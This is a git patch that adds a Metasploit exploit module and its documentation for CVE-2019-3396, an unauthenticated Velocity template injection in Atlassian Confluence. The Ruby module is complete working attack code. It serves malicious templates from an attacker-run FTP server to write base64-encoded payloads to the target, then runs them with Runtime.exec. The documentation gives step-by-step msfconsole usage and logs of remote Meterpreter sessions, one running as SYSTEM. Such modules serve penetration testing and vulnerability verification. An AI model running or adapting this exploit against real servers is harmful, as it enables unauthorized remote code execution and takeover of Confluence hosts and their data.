From dca368736cb3d4c021345988a2cc4eb8bebd003f Mon Sep 17 00:00:00 2001 From: asoto-r7 Date: Thu, 18 Apr 2019 12:14:09 -0500 Subject: [PATCH] Land #11717, exploit/multi/http/confluence_widget_connector --- .../multi/http/confluence_widget_connector.md | 163 ++++++ .../multi/http/confluence_widget_connector.rb | 465 ++++++++++++++++++ 2 files changed, 628 insertions(+) create mode 100644 documentation/modules/exploit/multi/http/confluence_widget_connector.md create mode 100644 modules/exploits/multi/http/confluence_widget_connector.rb diff --git a/documentation/modules/exploit/multi/http/confluence_widget_connector.md b/documentation/modules/exploit/multi/http/confluence_widget_connector.md new file mode 100644 index 000000000000..7949f7d93c9e --- /dev/null +++ b/documentation/modules/exploit/multi/http/confluence_widget_connector.md @@ -0,0 +1,163 @@ +# Description + +This module exploits a Velocity Template Injection in Atlassian Confluence Widget Connector Macro before 6.14.2 to execute arbitrary code (CVE-2019-3396). No authentication is required to exploit this vulnerability. + +The vulnerability exists in the Widget Connector Macro which allow inject the "\_template" from the outside for some services, such as Youtube, Viddler, DailyMotion, etc. + +The module has been tested with on Atlassian Confluence 6.6.12, 6.8.2, 6.12.0 and 6.13.0 using Java, Windows and Linux meterpreter payload. + +References: +https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-3396 +https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html + +# Vulnerable Application +Affecting Atlassian Confluence before version 6.6.12, from version 6.7.0 before 6.12.3, from version 6.13.0 before 6.13.3 and from version 6.14.0 before 6.14.2. + +# Verification Steps + +List the steps needed to make sure this thing works + +- [ ] Setting up a working installation of Atlassian Confluence before 6.6.13, 6.12.3, 6.12.3 or 6.14.2. +- [ ] Start `msfconsole` +- [ ] `use exploit/multi/http/confluence_widget_connector` +- [ ] `set RHOST ` +- [ ] `set RPORT ` +- [ ] `set SRVHOST ` +- [ ] `check` +- [ ] You should see `The target is vulnerable` +- [ ] `exploit` +- [ ] You should get a meterpreter session. + +# Options +- **TARGETURI**: Path to Atlassian Confluence installation ("/" is the default) +- **TRIGGERURL**: Url to external video service to trigger vulnerability ("https://www.youtube.com/watch?v=dQw4w9WgXcQ" is the default) + +# Scenario +## Tested on Confluence 6.8.2 with Windows target +``` +msf5 > use exploit/multi/http/confluence_widget_connector +msf5 exploit(multi/http/confluence_widget_connector) > set RHOST target.com +RHOST => target.com +msf5 exploit(multi/http/confluence_widget_connector) > set RPORT 8090 +RPORT => 8090 +msf5 exploit(multi/http/confluence_widget_connector) > set SRVHOST 192.168.0.1 +SRVHOST => 192.168.0.1 +msf5 exploit(multi/http/confluence_widget_connector) > set TARGET Windows +TARGET => Windows +msf5 exploit(multi/http/confluence_widget_connector) > check +[*] target.com:8090 - Starting the FTP server. +[*] target.com:8090 - Started service listener on 192.168.0.1:8021 +[+] target.com:8090 - The target is vulnerable. +[*] target.com:8090 - Server stopped. +msf5 exploit(multi/http/confluence_widget_connector) > exploit +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. +[*] Started reverse TCP handler on 192.168.0.1:4444 +[*] target.com:8090 - Starting the FTP server. +[*] target.com:8090 - Started service listener on 192.168.0.1:8021 +msf5 exploit(multi/http/confluence_widget_connector) > +[*] target.com:8090 - Target being detected as: Windows 10 +[*] target.com:8090 - Attempting to upload C:\PROGRA~1\Atlassian\Confluence\temp\gAdGh.exe +[*] target.com:8090 - Attempting to copy payload to C:\PROGRA~1\Atlassian\Confluence\temp\MRuDb.exe +[*] target.com:8090 - Attempting to execute C:\PROGRA~1\Atlassian\Confluence\temp\MRuDb.exe +[*] Sending stage (179779 bytes) to target.com +[*] Meterpreter session 1 opened (192.168.0.1:4444 -> target.com:62528) at 2019-04-11 03:13:37 +0000 +[*] target.com:8090 - Waiting for exploit to complete... +[!] This exploit may require manual cleanup of 'C:\PROGRA~1\Atlassian\Confluence\temp\FFDBo.exe' on the target +[!] This exploit may require manual cleanup of 'C:\PROGRA~1\Atlassian\Confluence\temp\JLzIZ.exe' on the target +[*] target.com:8090 - Server stopped. +msf5 exploit(multi/http/confluence_widget_connector) > sessions -i 1 +[*] Starting interaction with 1... + +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +meterpreter > quit +[*] Shutting down Meterpreter... + +[*] target.com - Meterpreter session 1 closed. Reason: User exit +msf5 exploit(multi/http/confluence_widget_connector) > +``` + +## Tested on Confluence 6.8.2 with Java target +``` +msf5 > use exploit/multi/http/confluence_widget_connector +msf5 exploit(multi/http/confluence_widget_connector) > set RHOST target.com +RHOST => target.com +msf5 exploit(multi/http/confluence_widget_connector) > set RPORT 8090 +RPORT => 8090 +msf5 exploit(multi/http/confluence_widget_connector) > set SRVHOST 192.168.0.1 +SRVHOST => 192.168.0.1 +msf5 exploit(multi/http/confluence_widget_connector) > check +[*] target.com:8090 - Starting the FTP server. +[*] target.com:8090 - Started service listener on 192.168.0.1:8021 +[+] target.com:8090 - The target is vulnerable. +[*] target.com:8090 - Server stopped. +msf5 exploit(multi/http/confluence_widget_connector) > exploit +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. +[*] Started reverse TCP handler on 192.168.0.1:4444 +[*] target.com:8090 - Starting the FTP server. +[*] target.com:8090 - Started service listener on 192.168.0.1:8021 +msf5 exploit(multi/http/confluence_widget_connector) > +[*] target.com:8090 - Target being detected as: Linux +[*] target.com:8090 - Attempting to upload /opt/atlassian/confluence/temp/EjpPf.jar +[*] target.com:8090 - Attempting to execute /opt/atlassian/confluence/temp/EjpPf.jar +[*] Sending stage (53866 bytes) to target.com +[*] Meterpreter session 1 opened (192.168.0.1:4444 -> target.com:55690) at 2019-04-11 03:13:37 +0000 +[+] target.com:8090 -Deleted /opt/atlassian/confluence/temp/EjpPf.jar +[*] target.com:8090 - Waiting for exploit to complete... +[*] target.com:8090 - Server stopped. +msf5 exploit(multi/http/confluence_widget_connector) > sessions -i 1 +[*] Starting interaction with 1... + +meterpreter > getuid +Server username: confluence +meterpreter > quit +[*] Shutting down Meterpreter... + +[*] target.com - Meterpreter session 1 closed. Reason: User exit +msf5 exploit(multi/http/confluence_widget_connector) > +``` + +## Tested on Confluence 6.8.2 with Linux target +``` +msf5 > use exploit/multi/http/confluence_widget_connector +msf5 exploit(multi/http/confluence_widget_connector) > set RHOST target.com +RHOST => target.com +msf5 exploit(multi/http/confluence_widget_connector) > set RPORT 8090 +RPORT => 8090 +msf5 exploit(multi/http/confluence_widget_connector) > set SRVHOST 192.168.0.1 +SRVHOST => 192.168.0.1 +msf5 exploit(multi/http/confluence_widget_connector) > check +[*] target.com:8090 - Starting the FTP server. +[*] target.com:8090 - Started service listener on 192.168.0.1:8021 +[+] target.com:8090 - The target is vulnerable. +[*] target.com:8090 - Server stopped. +msf5 exploit(multi/http/confluence_widget_connector) > exploit +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. +[*] Started reverse TCP handler on 192.168.0.1:4444 +[*] target.com:8090 - Starting the FTP server. +[*] target.com:8090 - Started service listener on 192.168.0.1:8021 +msf5 exploit(multi/http/confluence_widget_connector) > +[*] target.com:8090 - Target being detected as: Linux +[*] target.com:8090 - Attempting to upload /opt/atlassian/confluence/temp/BYHzD +[*] target.com:8090 - Attempting to copy payload to /opt/atlassian/confluence/temp/dESMnt +[*] target.com:8090 - Attempting to execute /opt/atlassian/confluence/temp/dESMnt +[*] Sending stage (985320 bytes) to target.com +[*] Meterpreter session 1 opened (192.168.0.1:4444 -> target.com:55690) at 2019-04-11 03:13:37 +0000 +[+] target.com:8090 - Deleted /opt/atlassian/confluence/temp/BYHzD +[+] target.com:8090 - Deleted /opt/atlassian/confluence/temp/dESMnt +[*] target.com:8090 - Waiting for exploit to complete... +[*] target.com:8090 - Server stopped. +msf5 exploit(multi/http/confluence_widget_connector) > sessions -i 1 +[*] Starting interaction with 1... + +meterpreter > getuid +Server username: uid=1001, gid=1001, euid=1001, egid=1001 +meterpreter > quit +[*] Shutting down Meterpreter... + +[*] target.com - Meterpreter session 1 closed. Reason: User exit +msf5 exploit(multi/http/confluence_widget_connector) > +``` \ No newline at end of file diff --git a/modules/exploits/multi/http/confluence_widget_connector.rb b/modules/exploits/multi/http/confluence_widget_connector.rb new file mode 100644 index 000000000000..e1a6c5084cdd --- /dev/null +++ b/modules/exploits/multi/http/confluence_widget_connector.rb @@ -0,0 +1,465 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::FtpServer + + def initialize(info={}) + super(update_info(info, + 'Name' => "Atlassian Confluence Widget Connector Macro Velocity Template Injection", + 'Description' => %q{ + Widget Connector Macro is part of Atlassian Confluence Server and Data Center that + allows embed online videos, slideshows, photostreams and more directly into page. + A _template parameter can be used to inject remote Java code into a Velocity template, + and gain code execution. Authentication is unrequired to exploit this vulnerability. + By default, Java payload will be used because it is cross-platform, but you can also + specify which native payload you want (Linux or Windows). + + Confluence before version 6.6.12, from version 6.7.0 before 6.12.3, from version + 6.13.0 before 6.13.3 and from version 6.14.0 before 6.14.2 are affected. + + This vulnerability was originally discovered by Daniil Dmitriev + https://twitter.com/ddv_ua. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Daniil Dmitriev', # Discovering vulnerability + 'Dmitry (rrock) Shchannikov' # Metasploit module + ], + 'References' => + [ + [ 'CVE', '2019-3396' ], + [ 'URL', 'https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html' ], + [ 'URL', 'https://chybeta.github.io/2019/04/06/Analysis-for-【CVE-2019-3396】-SSTI-and-RCE-in-Confluence-Server-via-Widget-Connector/'], + [ 'URL', 'https://paper.seebug.org/886/'] + ], + 'Targets' => + [ + [ 'Java', { 'Platform' => 'java', 'Arch' => ARCH_JAVA }], + [ 'Windows', { 'Platform' => 'win', 'Arch' => ARCH_X86 }], + [ 'Linux', { 'Platform' => 'linux', 'Arch' => ARCH_X86 }] + ], + 'DefaultOptions' => + { + 'RPORT' => 8090, + 'SRVPORT' => 8021, + }, + 'Privileged' => false, + 'DisclosureDate' => 'Mar 25 2019', + 'DefaultTarget' => 0, + 'Stance' => Msf::Exploit::Stance::Aggressive + )) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base to Confluence', '/']), + OptString.new('TRIGGERURL', [true, 'Url to external video service to trigger vulnerability', + 'https://www.youtube.com/watch?v=dQw4w9WgXcQ']) + ]) + end + + # Handles ftp RETP command. + # + # @param c [Socket] Control connection socket. + # @param arg [String] RETR argument. + # @return [void] + def on_client_command_retr(c, arg) + vprint_status("FTP download request for #{arg}") + conn = establish_data_connection(c) + if(not conn) + c.put("425 Can't build data connection\r\n") + return + end + + c.put("150 Opening BINARY mode data connection for #{arg}\r\n") + case arg + when /check\.vm$/ + conn.put(wrap(get_check_vm)) + when /javaprop\.vm$/ + conn.put(wrap(get_javaprop_vm)) + when /upload\.vm$/ + conn.put(wrap(get_upload_vm)) + when /exec\.vm$/ + conn.put(wrap(get_exec_vm)) + else + conn.put(wrap(get_dummy_vm)) + end + c.put("226 Transfer complete.\r\n") + conn.close + end + + # Handles ftp PASS command to suppress output. + # + # @param c [Socket] Control connection socket. + # @param arg [String] PASS argument. + # @return [void] + def on_client_command_pass(c, arg) + @state[c][:pass] = arg + vprint_status("#{@state[c][:name]} LOGIN #{@state[c][:user]} / #{@state[c][:pass]}") + c.put "230 Login OK\r\n" + end + + # Handles ftp EPSV command to suppress output. + # + # @param c [Socket] Control connection socket. + # @param arg [String] EPSV argument. + # @return [void] + def on_client_command_epsv(c, arg) + vprint_status("#{@state[c][:name]} UNKNOWN 'EPSV #{arg}'") + c.put("500 'EPSV #{arg}': command not understood.\r\n") + end + + # Returns a upload template. + # + # @return [String] + def get_upload_vm + ( + <<~EOF + $i18n.getClass().forName('java.io.FileOutputStream').getConstructor($i18n.getClass().forName('java.lang.String')).newInstance('#{@fname}').write($i18n.getClass().forName('sun.misc.BASE64Decoder').getConstructor(null).newInstance(null).decodeBuffer('#{@b64}')) + EOF + ) + end + + # Returns a command execution template. + # + # @return [String] + def get_exec_vm + ( + <<~EOF + $i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('#{@command}').waitFor() + EOF + ) + end + + # Returns checking template. + # + # @return [String] + def get_check_vm + ( + <<~EOF + #{@check_text} + EOF + ) + end + + # Returns Java's getting property template. + # + # @return [String] + def get_javaprop_vm + ( + <<~EOF + $i18n.getClass().forName('java.lang.System').getMethod('getProperty', $i18n.getClass().forName('java.lang.String')).invoke(null, '#{@prop}').toString() + EOF + ) + end + + # Returns dummy template. + # + # @return [String] + def get_dummy_vm + ( + <<~EOF + EOF + ) + end + + # Checks the vulnerability. + # + # @return [Array] Check code + def check + checkcode = Exploit::CheckCode::Safe + begin + # Start the FTP service + print_status("Starting the FTP server.") + start_service + + @check_text = Rex::Text.rand_text_alpha(5..10) + res = inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}check.vm") + if res && res.body && res.body.include?(@check_text) + checkcode = Exploit::CheckCode::Vulnerable + end + rescue Msf::Exploit::Failed => e + vprint_error(e.message) + checkcode = Exploit::CheckCode::Unknown + end + checkcode + end + + # Injects Java code to the template. + # + # @param service_url [String] Address of template to injection. + # @return [void] + def inject_template(service_url, timeout=20) + + uri = normalize_uri(target_uri.path, 'rest', 'tinymce', '1', 'macro', 'preview') + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => uri, + 'headers' => { + 'Accept' => '*/*', + 'Origin' => full_uri(vhost_uri: true) + }, + 'ctype' => 'application/json; charset=UTF-8', + 'data' => { + 'contentId' => '1', + 'macro' => { + 'name' => 'widget', + 'body' => '', + 'params' => { + 'url' => datastore['TRIGGERURL'], + '_template' => service_url + } + + } + }.to_json + }, timeout=timeout) + + unless res + unless service_url.include?("exec.vm") + print_warning('Connection timed out in #inject_template') + end + return + end + + if res.body.include? 'widget-error' + print_error('Failed to inject and execute code:') + else + vprint_status("Server response:") + end + + vprint_line(res.body) + + res + end + + # Returns a system property for Java. + # + # @param prop [String] Name of the property to retrieve. + # @return [String] + def get_java_property(prop) + @prop = prop + res = inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}javaprop.vm") + if res && res.body + return clear_response(res.body) + end + '' + end + + # Returns the target platform. + # + # @return [String] + def get_target_platform + return get_java_property('os.name') + end + + # Checks if the target os/platform is compatible with the module target or not. + # + # @return [TrueClass] Compatible + # @return [FalseClass] Not compatible + def target_platform_compat?(target_platform) + target.platform.names.each do |n| + if n.downcase == 'java' || target_platform.downcase.include?(n.downcase) + return true + end + end + + false + end + + # Returns a temp path from the remote target. + # + # @return [String] + def get_tmp_path + return get_java_property('java.io.tmpdir') + end + + # Returns the Java home path used by Confluence. + # + # @return [String] + def get_java_home_path + return get_java_property('java.home') + end + + # Returns Java code that can be used to inject to the template in order to copy a file. + # + # @note The purpose of this method is to have a file that is not busy, so we can execute it. + # It is meant to be used with #get_write_file_code. + # + # @param fname [String] The file to copy + # @param new_fname [String] The new file + # @return [void] + def get_dup_file_code(fname, new_fname) + if fname =~ /^\/[[:print:]]+/ + @command = "cp #{fname} #{new_fname}" + else + @command = "cmd.exe /C copy #{fname} #{new_fname}" + end + + inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}exec.vm") + end + + # Returns the normalized file path for payload. + # + # @return [String] + def normalize_payload_fname(tmp_path, fname) + # A quick way to check platform insteaf of actually grabbing os.name in Java system properties. + if /^\/[[:print:]]+/ === tmp_path + Rex::FileUtils.normalize_unix_path(tmp_path, fname) + else + Rex::FileUtils.normalize_win_path(tmp_path, fname) + end + end + + # Exploits the target in Java platform. + # + # @return [void] + def exploit_as_java + + tmp_path = get_tmp_path + + if tmp_path.blank? + fail_with(Failure::Unknown, 'Unable to get the temp path.') + end + + @fname = normalize_payload_fname(tmp_path, "#{Rex::Text.rand_text_alpha(5)}.jar") + @b64 = Rex::Text.encode_base64(payload.encoded_jar) + @command = '' + + java_home = get_java_home_path + + if java_home.blank? + fail_with(Failure::Unknown, 'Unable to find java home path on the remote machine.') + else + vprint_status("Found Java home path: #{java_home}") + end + + register_files_for_cleanup(@fname) + + if /^\/[[:print:]]+/ === @fname + normalized_java_path = Rex::FileUtils.normalize_unix_path(java_home, '/bin/java') + @command = %Q|#{normalized_java_path} -jar #{@fname}| + else + normalized_java_path = Rex::FileUtils.normalize_win_path(java_home, '\\bin\\java.exe') + @fname.gsub!(/Program Files/, 'PROGRA~1') + @command = %Q|cmd.exe /C "#{normalized_java_path}" -jar #{@fname}| + end + + print_status("Attempting to upload #{@fname}") + inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}upload.vm") + + print_status("Attempting to execute #{@fname}") + inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}exec.vm", timeout=5) + end + + + # Exploits the target in Windows platform. + # + # @return [void] + def exploit_as_windows + tmp_path = get_tmp_path + + if tmp_path.blank? + fail_with(Failure::Unknown, 'Unable to get the temp path.') + end + + @b64 = Rex::Text.encode_base64(generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform)) + @fname = normalize_payload_fname(tmp_path,"#{Rex::Text.rand_text_alpha(5)}.exe") + new_fname = normalize_payload_fname(tmp_path,"#{Rex::Text.rand_text_alpha(5)}.exe") + @fname.gsub!(/Program Files/, 'PROGRA~1') + new_fname.gsub!(/Program Files/, 'PROGRA~1') + register_files_for_cleanup(@fname, new_fname) + + print_status("Attempting to upload #{@fname}") + inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}upload.vm") + + print_status("Attempting to copy payload to #{new_fname}") + get_dup_file_code(@fname, new_fname) + + print_status("Attempting to execute #{new_fname}") + @command = new_fname + inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}exec.vm", timeout=5) + end + + + # Exploits the target in Linux platform. + # + # @return [void] + def exploit_as_linux + tmp_path = get_tmp_path + + if tmp_path.blank? + fail_with(Failure::Unknown, 'Unable to get the temp path.') + end + + @b64 = Rex::Text.encode_base64(generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform)) + @fname = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(5)) + new_fname = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(6)) + register_files_for_cleanup(@fname, new_fname) + + print_status("Attempting to upload #{@fname}") + inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}upload.vm") + + @command = "chmod +x #{@fname}" + inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}exec.vm") + + print_status("Attempting to copy payload to #{new_fname}") + get_dup_file_code(@fname, new_fname) + + print_status("Attempting to execute #{new_fname}") + @command = new_fname + inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}exec.vm", timeout=5) + end + + def exploit + @wrap_marker = Rex::Text.rand_text_alpha(5..10) + + # Start the FTP service + print_status("Starting the FTP server.") + start_service + + target_platform = get_target_platform + if target_platform.nil? + fail_with(Failure::Unreachable, 'Target did not respond to OS check. Confirm RHOSTS and RPORT, then run "check".') + else + print_status("Target being detected as: #{target_platform}") + end + + unless target_platform_compat?(target_platform) + fail_with(Failure::BadConfig, 'Selected module target does not match the actual target.') + end + + case target.name.downcase + when /java$/ + exploit_as_java + when /windows$/ + exploit_as_windows + when /linux$/ + exploit_as_linux + end + end + + # Wraps request. + # + # @return [String] + def wrap(string) + "#{@wrap_marker}\n#{string}#{@wrap_marker}\n" + end + + # Returns unwrapped response. + # + # @return [String] + def clear_response(string) + if match = string.match(/#{@wrap_marker}\n(.*)\n#{@wrap_marker}\n/m) + return match.captures[0] + end + end +end